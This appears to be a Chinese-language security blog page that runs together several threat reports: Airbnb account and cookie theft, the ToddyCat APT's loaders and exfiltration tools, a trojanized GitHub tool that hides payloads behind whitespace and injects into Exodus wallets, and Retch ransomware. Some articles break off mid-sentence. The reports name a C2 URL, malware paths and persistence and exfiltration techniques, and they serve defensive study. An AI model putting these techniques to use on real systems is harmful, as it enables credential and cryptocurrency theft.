Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863290592

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

愛彼迎(Airbnb)在全球10萬個活躍城市擁有超過700萬個房源,為廣大遊客提供了價位合理、環境舒適的住宿,但超旺的人氣也使其容易受到網絡犯罪分子、欺詐性房東、虛假帳戶及其他騙局的攻擊。

本文便著重探討了網絡犯罪分子如何利用愛彼迎及其用戶。

走近竊取器的世界為了了解網絡犯罪分子在如何利用愛彼迎,明白他們用來未經授權訪問帳戶的方法至關重要。

網絡犯罪分子經常使用一種名為“竊取器”(stealer)的惡意軟件來獲取用戶名和密碼等信息,這類竊取器其實是一種惡意軟件,滲入設備,並將竊取的數據(又名為日誌)傳輸給攻擊者。日誌通常被發送到服務器,但在一些情況下,日誌也可以通過電子郵件和Telegram等安全聊天程序來加以傳送。

竊取器可以通過各種不同的技術加以部署,包括社會工程、利用軟件漏洞和惡意廣告等技術。

此外,還有一個地下市場,網絡犯罪分子可以在這里大量買賣設備訪問權限(又叫機器人程序、安裝件或感染)。

1.png

圖1. 該截圖顯示了網絡犯罪分子在論壇上出售機器人程序

願意花錢的網絡犯罪分子可以聯繫機器人程序賣家或商店,立即開始在成千上萬個設備上部署竊取器。

2.png

圖2. 該截圖顯示了在一個臭名昭著的網絡犯罪論壇上可售的不同竊取器

竊取器可以入侵大多數瀏覽器,主要目標是網絡應用程序的帳戶信息。日誌通常遵循特定的格式,這包括多列,其中的一行行數據含有各種信息,比如姓名和信用卡或借記卡詳細信息等。除了獲取登錄憑據外,竊取器還可以洩露cookie。

cookie的重要性cookie是存儲在用戶設備上的小小的數據文件,其中含有關於用戶在特定網站上瀏覽活動和訪問偏好的信息,網絡犯罪分子經常在各種在線論壇上竊取、購買和出售愛彼迎帳戶的cookie。這樣一來,他們就可以暫時訪問愛彼迎帳戶,不需要相關的用戶名和密碼。

3.png

圖3. 該截圖顯示了網絡犯罪論壇上的一個用戶試圖購買愛彼迎cookie

比如說,網絡犯罪分子可以從受攻擊帳戶購買被盜的愛彼迎cookie數據庫,將cookie加載到瀏覽器中,並訪問受害者的帳戶。有了這種非法訪問權限,他們可以冒充真實用戶,預訂房源或執行其他未經授權的操作,而不會引發任何警報。然而需要注意的是,大多數會話cookie很快就會過期,因此網絡犯罪分子必須在會話過期之前迅速採取行動。

有利可圖的服務一旦網絡犯罪分子獲得了用戶帳戶信息或獲得竊取的cookie,他們的下一個目標通常就是從這些數據中牟利,一種標準的方法是直接向其他網絡犯罪分子出售受攻擊帳戶的信息或被盜的cookie。

這可以通過在在線論壇上打廣告來實現,也可以通過將一行行數據上傳到為這類交易提供便利的熱門商店來實現。

4.png

圖4. 該截圖顯示了一家大受歡迎的網絡犯罪商店出售愛彼迎帳戶

在寫這篇博文的時候,在上面提到的那家數字商店上有成千上萬個愛彼迎帳戶可供購買,令人震驚的是,大量被盜的帳戶使每個帳戶的價值縮水至區區1美元。

實際上,愛彼迎帳戶被盜的規模非常龐大,以至於攻擊者出售“帳戶檢查器”,這種自動化程序可以快速測試位於某個文本文件中的愛彼迎帳戶。

5.png

圖5. 該截圖顯示了為愛彼迎帳戶檢查器所打的廣告

這些帳戶檢查器背後的概念比較簡單。攻擊者可以將一個含有大量被盜憑據的文本文件加載到檢查器中,驗證哪些憑據有效、哪些憑據無效。一些檢查器還可以執行特定的操作,比如預房源。

網絡犯罪分子還提供服務,為愛彼迎預訂提供高達50%的折扣。

6.png

圖6. 該截圖顯示了一項服務對愛彼迎的所有預訂提供50%的折扣

很明顯,這類服務有利可圖,因為論壇上宣傳這些服務的帖子已經收到了數以萬計的瀏覽量和數以百計的回復量。

總而言之,網絡犯罪分子已經發現了利用愛彼迎從事欺詐活動的各種方法,通過使用竊取器和被盜的cookie未經授權訪問用戶帳戶。然後,這些洩露的信息被賣給其他網絡犯罪分子,或者被用來向買家提供折扣服務。被盜帳戶的規模相當大,數字商店裡已有成千上萬愛彼迎帳戶,以低至1美元的單價就能買到。

我們必須意識到風險,並採取必要的預防措施,以保護個人信息免受此類網絡威脅。

SL_featured_ToddyCat-1200x600.jpg

ToddyCat是一個相對較新的複雜APT組織,卡巴斯基研究人員最早在2020年11月檢測到該組織的活動,當時該威脅組織正在對目標的Microsoft Exchange服務器進行一系列攻擊,去年的一篇文章曾描述過它。

之後,該組織於2020年12月開始活動,並對歐洲和亞洲的知名對象發動了多起攻擊。

在去年,我們發現了一組新的全新加載程序,並收集了有關其開發後活動的信息,這使我們能夠擴展對該組織的了解,並獲得有關攻擊者的TTP(戰術,技術和程序)的新信息。接下來,我們將描述他們的新工具集,用於竊取和洩露數據的惡意軟件,以及該組織用於橫向移動和進行間諜活動的技術。

工具集標準的加載器加載程序是64位庫,由rundll32.exe調用,或者用合法的和簽名的可執行文件進行側加載,這些組件在感染階段用於加載Ninja木馬作為第二階段。我們已經看到了這些新加載器的三種變體:

1.png

第一個變體的文件名為update.dll或x64.dll,通常使用合法的rundll32.exe Windows實用程序加載,大多數惡意代碼駐留在DllMain中,但下一個階段是通過導出的Start函數調用的,其他兩個變體應該與合法的VLC.exe媒體播放器一起加載,這被濫用來加載惡意庫。

加載程序通過從同一目錄中應該存在的另一個文件加載加密的有效負載來啟動其活動,然後使用異或對加載的數據進行解碼,其中異或項是使用一種不尋常的技術生成的。惡意軟件使用靜態種子(static seed)通過shuffle和add操作生成256字節的XOR_KEY塊。

2.png

使用另一個嵌入的64字節IDX塊作為索引再次對生成的XOR_KEY塊進行改組,以獲得特定的256字節XOR鍵,XOR密鑰用於解密文件內容,並將結果值加載到內存中。

Update A和VLC A在其進程地址空間中加載下一階段,解密的有效負載應該是一個庫,該庫導出具有特定名稱的函數:“Start”或“_”,具體要看變體。

變體VLC B創建一個新的wusa.exe (Windows Update Standalone Installer)進程,這是一個位於System32目錄下的合法Windows程序。然後,它將解密的有效負載注入遠程進程地址空間的地址空間,並使用CreateRemoteThread函數運行它。

定制的加載程序調查時,我們注意到在攻擊某些目標時,攻擊者用另一種變體替換了標準加載程序,我們稱之為定制加載程序,因為加密文件是為特定係統量身定制的。

該代碼與標準加載器變體VLC a類似,主要區別在於加密文件的位置和文件名(%CommonApplicationData%\Local\user.key

)以及用於獲取最終有效負載的解密方案。使用上面提到的相同算法,其中使用XOR_SEED生成256字節的XOR_KEY塊,然後使用另一個嵌入的64字節IDX塊將其混合,在混合兩個塊之前,惡意軟件會收集PhysicalDrive0的存儲屬性,從而獲得硬盤的型號。

3.png

用於獲取存儲屬性的代碼片段

並使用GetVolumeNameForVolumeMountPointA函數來檢索“C:\”卷GUID。

4.png

用於獲取卷GUID的代碼片段

這兩個值連續用作修改IDX塊的異或項。這種方法表明存儲在user.key的加密有效負載是為目標系統量身定制的。

據觀察,定制加載器用於保持長期持久性。用於實現此目標的技術與攻擊者的Samurai後門所使用的技術相同,後者允許攻擊者將惡意軟件隱藏在svchost.exe地址空間中。

在這種情況下,攻擊者創建以下註冊表項:

5.png

此註冊表項旨在強制合法的svchost.exe進程在系統啟動期間加載FontCacheSvc服務。進程的命令行看起來像這樣:

C:\Windows\system32\svchost.exe -k fontcsvc -s fontachesvc

攻擊者還創建一個新的服務,該服務被配置為加載定制的加載程序,該加載程序通常存儲在文件名apibridge.dll中。

6.png

Ninja由前面描述的組件加載的最後一個階段是Ninja代理。這是一種用c++編寫的複雜惡意軟件,可能是ToddyCat開發的未知利用後工具包的一部分。我們之前介紹過。

代理是一個提供各種功能的強大工具,包括但不限於:

運行進程的枚舉和管理;

文件系統管理;

管理多個反向shell會話;

向任意進程注入代碼;

在運行時加載附加模塊(可能是插件);

代理功能,用於在C2和遠程主機之間轉發TCP數據包。

代理的最新版本支持與上一個報告中描述的相同的命令,但是配置不同。雖然以前的版本使用XOR項0xAA混淆了嵌入式配置,但新版本使用NOT二進制操作來實現相同的目的。

儘管配置中包含的信息保持不變,但互斥對象名稱已移到HTTP標頭之後。

LoFiSe

這是一個用於查找和收集目標系統上感興趣文件的組件。 LoFiSe這個名字來源於這個工具使用的互斥對象名稱(' MicrosoftLocalFileService '),該工具本身是一個名為DsNcDiag.dll的DLL文件,使用DLL側加載技術啟動。使用軟件包“Pulse Secure Network Connect 8.3”中具有數字簽名和原始名稱為“nclauncher.exe”的合法可執行文件作為加載程序。以下路徑和文件名在被攻擊的系統上是已知的:

C:\ProgramFiles\WindowsMail\AcroRd64.exe

C:\ProgramFiles\WindowsMail\DsNcDiag.dll

C:\ProgramFiles\CommonFiles\VLCMedia\VLCMediaUP.exe

C:\ProgramFiles\CommonFiles\VLCMedia\DsNcDiag.dll啟動後,LoFiSe開始跟踪文件系統中的更改。系統中的所有驅動器都被監控。在收到文件創建或修改事件後,該工具執行幾次檢查。過濾大小大於6400000字節( 6mb)的文件。某些文件夾中的文件也會被過濾。這些都是在其完整路徑中包含ProgramData的文件,或者已經存儲在LoFiSe工作目錄中的文件。

以下是工具存儲文件的工作目錄,具體取決於版本:

C:\Programdata\Microsofts\

C:\windows\temp\在下一階段,根據以下掩碼檢查文件擴展名:

7.png

如果文件通過了所有的檢查並且適合收集,LoFiSe就會計算它的MD5哈希值,並用它來檢查以前複製的文件,並將此信息存儲在數據庫中。在該工具的所有已知版本中,數據庫文件稱為Date.db,並在工作目錄中創建。數據庫中添加了兩個表:

8.png

數據庫中的文件路徑

9.png

其他存儲數據

如果MD5文件不在表中,它將被添加到工作目錄中。

每隔三個小時,LoFiSe將工作目錄中的所有文件收集到一個有密碼保護的ZIP-archive中,並將其放入一個單獨的文件夾中以供進一步竊取:

10.png

準備收集數據時產生的日誌

DropBox上傳器這是一個通用的DropBox上傳器,任何人都可以使用它將數據上傳到流行的文件託管服務。這個工具可能不是todddycat唯一使用的,但我們觀察到該組織使用它來竊取被盜的文件,

這個小實用程序接受DropBox用戶訪問令牌作為參數。然後,它解析當前工作目錄並上傳具有以下擴展名的文件:

11.png

調查中,我們還發現了其他幾個類似的樣品,這些樣品由不同的包裝商保護,只在東南亞檢測到。然而,在某些示例中,該工具是在沒有明顯被ToddyCat感染的系統上發現的。

Pcexter這是另一個用於將存檔文件洩露到微軟OneDrive的上傳程序。該工具作為名為Vspmsg.dll的DLL文件傳播,該文件使用DLL側加載技術執行,作為加載器,該工具使用來自Visual Studio的合法可執行文件VSPerfCmd,該文件用於收集性能數據。這些可執行文件在受攻擊系統上的已知路徑如下:

c:\windows\temp\googledrivefs.exeC:\windows\temp\vspmsg.dll

c:\programfiles\windowsmail\securityhealthsystray64.exec:\programfiles\windowsmail\vspmsg.dll

c:\programfiles\commonfiles\vlcmedia\vlcmediastatus.exec:\programfiles\commonfiles\vlcmedia\vspmsg.dll這個工具需要以下參數:

12.png

啟動後,Pcexter等待事件“Global\SystemLocalPcexter”觸發,然後開始使用給定的掩碼在指定目錄中搜索文件。這是LoFiSe工具在創建要發送的存檔時設置的事件。

Pcexter使用OneDrive OAuth 2.0授權,檢索訪問令牌並通過POST方法發送文件:

13.png

其他工具被動UDP後門這是一個很小的被動後門,用UDP數據包接收命令,攻擊者通常在執行此後門之前通過任務遠程執行以下命令。

14.png

該命令在目標主機上創建一個名為SGAccessInboundRule的新防火牆規則。它允許後門在端口49683上接收UDP數據包。執行該命令後,攻擊者執行後門:

15.png

後門的邏輯很簡單:它將UDP套接字綁定到指定端口,解壓縮接收到的數據,並使用WinExec函數執行結果字符串。命令執行後,後門會返回一條包含當前系統時間和已執行命令的消息,以此反饋命令的執行情況。但是,後門程序不提供該命令的輸出。

這個後門的確切目的目前尚不清楚,但有可能是為了在檢測到其他植入程序時提供額外的持久性。

CobaltStrike在調查過程中,我們觀察到攻擊者在部署Ninja代理之前使用了CobaltStrike。具體來說,我們觀察到一個用c++編寫的加載器的使用,它位於:

C:\ProgramData\Microsoft\mf\windef.dll惡意軟件加載一個名為“BIN”的嵌入式資源。使用異或算法和嵌入在代碼中的密鑰:B0 9A E4 EA F7 BE B7 B0對資源內容進行反混淆。

由此產生的有效負載是CobaltStrike信標,配置為與以下URL通信:

hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false攻擊開始大約10分鐘後,系統檢測到ToddyCat Ninja。

Post-exploitation調查發現,為了實現這一目標,攻擊者使用上面描述的加載程序和木馬等工具滲透企業網絡。之後,它就開始收集連接到同一網絡主機的信息,以查找可能具有感興趣文件的目標。

該組織執行發現活動,通過利用標準操作系統管理實用程序(如net和ping)枚舉域帳戶和DC服務器:

16.png

在確定潛在目標後,該組織通過使用受攻擊的域管理憑據在本地安裝網絡共享來橫向移動:

17.png

攻擊者註意隨著時間的推移輪換使用的憑據,相同的憑據不太可能長期使用。

複製腳本後,將創建一個計劃任務,執行並立即刪除網絡共享,所有這些都是針對每個目標主機循環進行的:

18.png

計劃任務通常可以包含單個發現命令、二進制調用或負責執行收集活動的PS1或BAT腳本。

在橫向移動期間,單命令計劃任務的輸出保存在特定的文件中,以便攻擊者將遠程驅動器掛載為本地共享時可以捕獲它:

19.png

在運行腳本的情況下,命令如下:然後,我們觀察到PS1腳本中發現的相同的PowerShell命令被包裝在BAT腳本中,這可能是為了避免被檢測到。

然而,有些文件夾似乎比其他文件夾更受歡迎:

20.png

攻擊者會對同一會話重用相同的任務名,這樣的名字通常會引起較少的懷疑,例如“one”和“tpcd”,而腳本名稱可以從兩個到四個隨機的鍵盤觀察字符變化,具有更高的熵。

在活動結束時,掛載一個臨時共享,然後在洩漏主機上刪除:

21.png

數據收集和洩露

如上所述,一旦確定了感興趣的目標,收集階段就開始了。攻擊者通常從許多不同的主機收集文件,並將它們存儲在檔案中,然後使用公共文件存儲服務從目標網絡中洩漏出來。

22.png

數據竊取方案

我們已經描述了一些工具,例如LoFiSe,專門用於識別和收集感興趣的文件,但是在調查過程中,我們還發現了ToddyCat使用的其他腳本,這些腳本使用WMI枚舉目標主機磁盤上的文件,並收集最近修改的具有.pdf,doc,docx,xls 和.xlsx擴展名的文檔。

在這些情況下,使用諸如7zip或RAR實用程序之類的工具執行壓縮,特定的工具可能是根據基礎設施中已經可用的工具來選擇的。與LoFiSe不同,集合腳本將枚舉文檔的路徑存儲在純文本TXT文件中。文檔壓縮可以直接在目標主機或洩漏主機上完成。

下面是在目標主機上運行的BAT腳本的內容:

23.png

在上面的示例中,文件被文件在一個tmp_文件夾中;我們還觀察到使用根據主機名參數化名稱的文件夾,例如:

24.png

要收集的文件也是根據它們最後的寫入時間來選擇的。文件的最後修改日期應該大於一定天數。這個數字通常作為腳本參數傳遞,並且可以硬編碼。

在主驅動器和輔助驅動器上選擇數據源時,收集腳本使用不同的策略。對於默認的Windows主驅動器,腳本遍歷用戶配置文件目錄(C:\Users)。這種方法增加了捕獲有價值數據的可能性,同時減少了所需的處理時間,並最大限度地減少了收集不需要文件的機會。在處理外部設備和其他非主存儲介質時,腳本會選擇一種更方便的策略,即選擇根目錄(\)。雖然主驅動器始終可用,但輔助驅動器可能並不總是可訪問,從而限制了收集機會。為了減少這一限制,攻擊者偶爾會擴展時間範圍,將輔助驅動器和可移動驅動器上的舊文件包括在其作用域中(如BAT代碼片段所示)。

以下是PS1腳本的結構:

25.png

攻擊者試圖通過保護腳本並將腳本代碼嵌入到PE “.text”部分中的特定釋放器來傳播它們以逃避防禦。

26.png

PowerShell腳本里面的可執行文件

滴管接收兩個參數;第一個是啟動執行時必須提供的密碼字符串,第二個是通過命令行實際傳輸到PS腳本的數字。啟動後,dropper創建一個名為pro.ps1的文件,並通過PowerShell執行它:

隨著技術的發展,世界之間的聯繫變得更加緊密,攻擊者使用的技術也在不斷發展。攻擊者通過不斷地利用供應鍊和代碼庫中復雜的相互依賴關係,對組織、個人和社區造成重大風險。

近年來最令人擔憂的攻擊趨勢之一是供應鏈攻擊的增加,尤其是那些對代碼庫的攻擊,這是全球網絡安全領域的一個難題。根據歐盟網絡安全機構(ENSA)發布的一份報告,62%的組織受到第三方網絡事件的影響,只有40%的受訪組織表示他們了解第三方網絡和隱私風險。更令人擔憂的是,38%的受訪組織表示,他們不知道哪些網絡問題是由第三方組件引起的,最近涉及供應鏈的網絡攻擊包括Apache Log4j, SolarWinds Orion和3CX的3CXDesktopApp。

在現代軟件開發中,開發人員依賴第三方組件來簡化開發過程,這使開發人員能夠創建成本效益高、效率高且功能豐富的應用程序。但是,當這些受信任的組件受到攻擊時會發生什麼?

攻擊者可以通過組織供應鏈中不太安全的元素,如第三方供應商或軟件存儲庫間接滲透系統,甚至允許他們破壞受信任的組件,從而在更大、更安全的環境中獲得立足點。惡意代碼經常嵌入看似合法的軟件庫中,當開發人員集成這些組件,就會不知不覺地將漏洞和其他網絡安全風險引入他們的核心系統。

本文深入研究了攻擊者在看似合法的應用程序和代碼庫中植入惡意有效負載的複雜方法,並以最近示例作為研究對象。

技術分析攻擊者復制合法GitHub存儲庫的示例研究,然後用惡意代碼進行木馬化和攻擊,策略性地用關鍵字填充其存儲庫描述部分,以最大限度地提高其在GitHub搜索中的可見性。

通過此分析,我們可以深入了解攻擊者攻擊第三方組件的攻擊過程和技術,以下部分將使用活動命令與控制(CC)服務器研究其中一個被木馬化的項目,了解其內部工作原理。

通過exec smugglingweb請求發起攻擊1.png

Discord-Boost-Tool的存儲庫名稱和存儲庫的所有者

在所舉示例中,攻擊的第一階段採用了一種我們稱之為exec smuggling的新技術。該技術在一長串空白字符之後放置一個有效負載,將惡意內容從屏幕上推送出去。使用這種技術,下一階段通過惡意請求調用檢索,≠≠使用Python內置方法exec()執行。接下來,我們將根據示例概述exec smuggling 的具體實現步驟。

導入必要的依賴項在導入request和fernet之前,惡意軟件使用以下命令在Python中安裝必要的依賴項,通過該命令安裝依賴項包:

2.png

惡意軟件安裝並導入必要的依賴項

將惡意代碼對象移出白名單攻擊者會添加一長串空白字符(在本例中是521個空格),將惡意代碼移出白名單,從而隱藏代碼對象,不被人發現。

3.png

使用exec()執行惡意負載

最後,通過調用Python的exec方法來執行代碼對象。以下是解密後的惡意代碼片段:

4.png

此代碼對象向攻擊者的命令和控制(CC)服務器發出web請求,該服務器包含惡意負載,然後導致第二階段的攻擊。

5.png

執行走私後攻擊進入第二階段

攻擊的第二階段據分析,攻擊的第二階段側重於為進一步開發準備攻擊環境。

設置環境第二階段包括準備環境的滴管,最初,它安裝一系列Python包,如requests、httpx、pyperclip、pyotp、winregistry、psutil、pycryptodomex和asyncio等。然後,它識別用戶系統上安裝的所有Python版本,並檢查每個版本的site-packages中是否存在Cryptodome目錄。如果找到,它將此目錄複製為Crypto,可能是為了確保與原有庫的向後兼容性。隨後,腳本創建一個解密有效負載,將其寫入用戶APPDATA目錄中的一個名為pl.py的文件,在執行它而不顯示窗口。

6.png

第二階段使用Python的子進程模塊進一步準備環境

攻擊的第三階段環境準備好後,惡意軟件進入攻擊過程的第三階段。

BlackCap-Grabber第三階段包含一個修改版的開源信息竊取項目,名為BlackCap-Grabber。它具有以下功能:

提取瀏覽器密碼、cookie和瀏覽歷史記錄;

檢索系統信息;

從應用程序和工具(如Steam, MetaMask和Exodus)竊取登錄憑據;

繞過TokenProtector;

劫持Windows剪貼板以更改加密貨幣地址,將其內容替換為攻擊者的錢包地址以及其他功能。

重要的是,原來的BlackCap-Grabber包括雙鉤(dual hook)技術,使用這種技術,代碼的開發者也將收到由攻擊者(BlackCap-Grabber用戶)竊取的信息的副本。像BlackCap-Grabber-NoDualHook這樣的項目會從源代碼中移除植入的DualHook。

在執行時,惡意軟件將受攻擊系統的ComputerName發送到其CC服務器。然後安裝必要的Python包以確保惡意軟件的功能。請注意,此代碼不是原始BlackCap-Grabber的一部分,而是由攻擊者添加的。

7.png

惡意軟件發送帶有受害者計算機名的POST請求,並安裝額外的依賴項

下圖展示了由惡意軟件及其處理受害者信標的請求處理程序生成的初始網絡流量的示例。

8.png

向包含受害者用戶名的/downloadhandler發出POST請求

攻擊者添加的另一個功能是出口注入(exodus-injection),這在原始的BlackCap-Grabber源代碼中不存在。出口注入允許攻擊者使用攻擊技術從Exodus Crypto Wallet(一種受新加密貨幣用戶歡迎的加密貨幣錢包)竊取憑證和其他敏感信息。攻擊者在其攻擊鏈中使用多個開源的Exodus-Injection項目(https://github.com/loTus04/Exodus-Injection和https://github.com/dropout1337/exodus-injection)。

9.png

BlackCap-Grabber配置

BlackCap-Grabber的主要功能是劫持Windows剪貼板以更改加密貨幣地址,從受攻擊的系統中檢索敏感信息,並從各種web瀏覽器將其保存到文件中以供洩露。

10.png

BlackCap-Grabber準備敏感信息,如瀏覽器cookie、加密貨幣地址和剪貼板信息

11.png

BlackCap-Grabber使用upload()方法處理敏感信息數據,以便上傳到攻擊者的基礎設施

12.png

BlackCap-Grabber使用LoadRequests方法從受害者發送POST請求以進行數據提取

使用上圖中的邏輯,攻擊者向基礎結構發送包含洩露的密碼、cookie和加密貨幣地址的POST請求。

13.png

攻擊者通過POST請求將洩露的數據發送到/handler終端

在此示例中,惡意軟件將包含瀏覽器cookie等內容的惡意包從受攻擊系統中洩漏到攻擊者控制的主機。攻擊者使用web請求處理程序來處理從受害設備上成功竊取的包。

14.png

另外一個密碼示例通過POST請求發送到/handler終端

以上是我們發現的附加POST請求,其中包含由攻擊者從受攻擊的受害者向處理程序/句柄洩露的敏感信息。

探索Exodus和ElectronJS組件經過調查,我們確定Exodus桌面錢包是使用ElectronJS框架構建的,基於本地Exodus安裝的資源目錄中存在的app.asar文件,該框架用於捆綁和打包應用程序的資源。 Asar壓縮文件類似於.zip或.tar文件,但專門為ElectronJS應用程序設計。

攻擊鏈第三階段的一個主要組成部分涉及通過操作底層的ElectronJS應用程序在受攻擊用戶的設備上植入惡意的Exodus桌面錢包應用程序,這使得攻擊者可以竊取與Exodus錢包相關的憑證,從而實施攻擊,並最終竊取屬於受害者的加密貨幣和不可替代代幣(nft)。

ElectronJS和Exodus這兩個漏洞是由關聯的。早在2018年,基於遠程代碼執行漏洞CVE-2018-1000006(CVSS 8.8)的Electron就可以被利用。研究人員很快指出,攻擊者可以通過濫用電子協議處理程序來利用這個漏洞。

如前所述,ElectronJS應用程序被打包為app.asar壓縮文件,其中包含應用程序的源代碼和各種應用程序資產。 Asar壓縮文件類似於.zip或.tar文件,是專門為ElectronJS應用程序設計。

什麼是Exodus?Exodus是一個數字資產平台,允許用戶存儲、管理和交換加密貨幣和NFT。

Exodus提供各種錢包,如Web3錢包、移動錢包、桌面錢包、Trezor硬件錢包,以及與加密貨幣應用程序的集成。

Exodus桌面錢包應用程序Exodus桌面錢包(Exodus Desktop Wallet)是Exodus的桌面應用程序。 Exodus桌面錢包支持所有主要的操作系統,如微軟、MacOS和Linux,通過用戶友好的圖形用戶界面(GUI),可以存儲和交易主要的加密貨幣和NFT。

通過web GUI訪問Exodus桌面錢包Exodus桌面錢包提供了一個直觀的界面來訪問加密貨幣錢包。解鎖加密貨幣錢包需要密碼,如Exodus桌面錢包應用程序GUI所示。

在設置用於備份錢包的助記符秘密短語時,Exodus會讓用戶打印助記符密鑰作為安全設備。

15.png

使用物理助記鍵恢復Exodus錢包

當用戶試圖恢復錢包時,Exodus可能會要求他們參考助記秘鑰的打印副本,並根據提供的數字選擇正確的單詞。出於安全考慮,Exodus被設計成一個使用密碼和助記短語組合的自我保管錢包。

探索Exodus ElectronJS應用程序的主要組件Exodus桌面錢包的app.asar文件可以解壓縮到目標目錄。在這個目錄中,我們看到了應用程序的根目錄,其中包括node_modules、src和應用程序的package.json。

16.png

Exodus桌面錢包的NodeJS後端

17.png

關鍵後端文件相關的Exodus桌面錢包

Exodus ElectronJS應用程序的主要組件包括應用程序的主邏輯(包含在src/app/main/index.js中)、錢包組件(包含在src/app/wallet/index.js中)和表示邏輯(包含在src/app/static/中),後者將NodeJS後端文件導入到應用程序的前端表示中。

正在攻擊Exodus桌面錢包的ElectronJS應用程序通過使用注入技術,攻擊者可以通過替換app.asar壓縮,將Exodus桌面錢包的ElectronJS應用程序替換為惡意的ElectronJS應用程序,該壓縮文件由Exodus桌面錢包讀取。這個應用程序是一個全功能的複製品Exodus桌面錢包,攻擊者將其功能改變,以竊取錢包信息,包括密碼和助記符信息。

18.png

inject()函數負責注入惡意的Exodus桌面錢包

在上圖所示的代碼中,攻擊者執行一系列檢查,以確定受攻擊的設備是否安裝了Exodus Desktop Wallet。

下面的代碼片段是在Windows安裝中Exodus應用程序使用的app.asar文件的位置。

Exodus錢包桌面Windowsapp.asar路徑:

19.png

同時,下面的代碼片段是Linux安裝中Exodus應用程序使用的app.asar文件的位置:

Exodus錢包桌面Linuxapp.asar路徑:

20.png

如果發現Exodus,惡意代碼將繼續如下操作:

1.從攻擊者控制的基礎設施下載並讀取惡意修復的app.asar文件。

2.終止現有的Exodus進程。

3.將惡意的app.asar寫入Exodus應用程序資源目錄中的Exodus app.asar文件中。

如果在設備上找不到Exodus桌面錢包的行為如果在目標設備上沒有找到Exodus,惡意代碼將繼續下載文件stromrechung.py到\Microsoft\Windows\Start Menu\Programs\Startup。該文件將在系統啟動時執行。

21.png

如果沒有找到Exodus,“miner.exe”將從另一個攻擊者域下載並安裝

22.png

Python用於執行惡意批處理文件,其中包含“miner.exe”的下載和運行邏輯。

惡意文件stromrechnung.py是一個python文件,包含以下邏輯:

1.為Windows批處理文件創建一個Python函數;

2.使用陸地驅動程序(LoLDrivers)編寫邏輯以繞過UAC;

3.編寫PowerShell命令將加密貨幣挖礦器(miner.exe)下載到受害者的設備上;

4.運行Python函數,該函數使用subprocess.popen 方法執行批處理文件。

在Exodus桌面錢包的ElectronJS應用程序中註入代碼在示例中,有三個不同的文件被攻擊者改變了,具體將在後面介紹。

惡意注入後端unlock()函數(src/app/wallet/index.js)主要注入發生在src/wallet/index.js中,攻擊者在解鎖函數中註入惡意POST請求。 POST請求包含錢包密碼、助記密鑰和錢包目錄。

23.png

文件src/app/wallet/index.js被攻擊,洩露密碼、助記符和錢包信息給攻擊者

允許打開錢包域(4.9.1.2. src/app/main/index.js)即使在乾淨的Exodus應用程序將錢包域限制為Exodus的位置,攻擊者也可以修改主index.js文件以允許所有錢包域。

24.png

文件src/app/main/index.js修改域名列表以允許所有錢包域名

4.9.1.3. src/static/wallet.html:禁用內容安全策略(CSP)內容安全策略(CSP)作為一個額外的安全層,用於識別和抵禦特定形式的攻擊,例如跨站點腳本(XSS)和數據注入攻擊。 connect-src指令限制了可以通過腳本接口加載的url。

25.png

文件src/app/main/index.js被修改為禁用應用程序的CSP

我們發現,攻擊者有效地禁用了CSP,以允許從所有url到Exodus wallet.js組件的數據連接。

Discord-Boost-Tool GitHub存儲庫接下來,我們將探討Discord-Boost-Tool的特性及其一些有趣的組件。

discord-boost-tool的起源在本文所列舉的示例中,受攻擊的Discord-Boost-Tool源自2022年底的原始Discord-Boost-Tool存儲庫。這個工具允許用戶使用NitroBot帳戶來提升他們的Discord服務器,它被GitHub用戶PatrickPagoda迅速分叉(fork)並修改,通過惡意PyPi包攻擊不知情的用戶,該用戶多次將惡意Python包上傳到PyPi註冊表中。值得一提的是,與PatrickPagoda相關的原始GitHub帳戶在7月底至8月的某個時候

FortiGuard實驗室每兩週收集一次感興趣的勒索軟件變體的數據,並發布有關報告,旨在讓讀者了解不斷發展的勒索軟件形勢以及抵禦這些變體的緩解措施,本文要講的是Retch和S.H.O勒索軟件。

受影響的平台:Microsoft Windows;

受影響方:Microsoft Windows用戶;

影響:加密和洩露受害者的文件,並要求贖金解密文件;

嚴重性級別:高;

Retch勒索軟件概述Retch是2023年8月中旬首次發現的一種新的勒索軟件變體,它在受攻擊設備上加密文件,並留下兩張勒索信,要求受害者支付贖金來解密文件。

攻擊媒介雖然目前無法獲得有關Retch勒索軟件攻擊者使用的攻擊媒介的信息,但是它可能與已知其他勒索軟件組織有顯著關聯。

目前,來自以下國家的Retch勒索軟件樣本已提交給公共文件掃描服務:

美國

伊朗

德國

俄羅斯

法國

哥倫比亞

韓國

義大利

一旦勒索軟件運行,它就會查找並加密具有以下文件擴展名的文件:

1.png

以下目錄不支持文件加密:

'Windows'

'Program Files'

'Program Files (x86)'

勒索軟件為加密文件添加了“.Retch”擴展名。

2.png

由Retch勒索軟件加密的文件

然後,它會在每個加密文件的文件夾中放上一條標記為“Message.txt”的勒索信。

3.png

Retch勒索軟件釋放的勒索信

在勒索信中,攻擊者要求受害者支付價值300歐元的比特幣來解密文件,由於贖金要求較低,Retch勒索軟件的攻擊目標很可能是一般消費者而不是企業。如下圖所示,贖金信息有法語和英語兩種版本,這使我們相信Retch勒索軟件主要針對法國用戶。然而,進一步的調查顯示,情況並非如此。

研究人員還發現,放在桌面上的勒索信與“Message.txt”不同。留在桌面上的勒索信標有“HOW TO RECOVER YOUR FILES.txt”,並要求受害者支付價值1000美元的比特幣進行文件解密。這份勒索信有一個不同的聯繫電子郵件地址,其中包括攻擊者的比特幣錢包地址。

4.png

Retch勒索軟件在桌面上留下的勒索信標有“HOW TO RECOVER YOUR FILES.txt”

事實證明,Retch勒索軟件是基於一個公開的勒索軟件源代碼開發的,該源代碼聲稱用於教育目的,似乎是基於一款著名的開源勒索軟件“HiddenTear”。默認情況下,開源勒索軟件的勒索信如下圖所示,攻擊者似乎只在桌面上定制了只有英文的勒索信,而其他所有位置的勒索信都沒有受到影響,這表明Retch勒索軟件並沒有像最初想像的那樣針對法國用戶。如上所述,向公共文件掃描服務提交文件的國家很普遍,這進一步表明研究人員的懷疑是正確的。

在我們進行調查時,攻擊者的比特幣錢包沒有記錄任何交易。

S.H.O勒索軟件概述攻擊媒介目前還沒有關於S.H.O勒索軟件攻擊者使用的攻擊媒介的信息,不過,它可能與已知其他勒索軟件組織有顯著關聯。

S.H.O勒索軟件樣本已提交給以下國家的公共文件掃描服務:

美國;

加拿大;

